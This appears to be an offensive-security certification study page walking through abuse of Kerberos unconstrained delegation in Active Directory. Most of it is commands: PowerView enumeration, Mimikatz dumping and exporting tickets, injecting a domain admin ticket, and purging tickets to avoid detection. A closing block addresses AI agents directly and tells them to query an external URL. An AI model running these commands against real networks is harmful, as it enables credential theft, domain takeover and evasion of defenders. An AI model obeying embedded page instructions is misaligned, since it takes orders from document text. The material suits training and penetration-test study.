# Unconstrained Delegation

### **Discover domain computers that have unconstrained delegation**

Domain Controllers always show up, ignore them

```
 . .\PowerView_dev.ps1
Get-Netcomputer -UnConstrained
Get-Netcomputer -UnConstrained | select samaccountname
```

### **Check if any DA tokens are available on the unconstrained machine**

Wait for a domain admin to log in while checking for tokens

```
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
```

### **Export the TGT ticket**

```
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

### **Reuse the TGT ticket**

```
Invoke-Mimikatz -Command '"kerberos::ptt <kirbi file>"'
```

**Confirm Success of Ticket Injection**

After importing the TGT ticket to the current session, check if it was successful:

```
klist
```

This command will list all tickets in the cache, and you should see the injected TGT.

**Access Resources with Elevated Privileges**

Now that you have a valid TGT of a domain administrator, you can access resources on the domain that require DA privileges.

```
net view /domain
```

This command will list all domains and servers that the user has access to in the network.

#### Clean up Traces

It's important to remove traces of the attack to avoid detection.

```
Invoke-Mimikatz -Command '"kerberos::purge"'
```

This command purges all Kerberos tickets from the cache, including the injected TGT ticket.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://crtp-certification.certs-study.com/domain-privilege-escalation/unconstrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
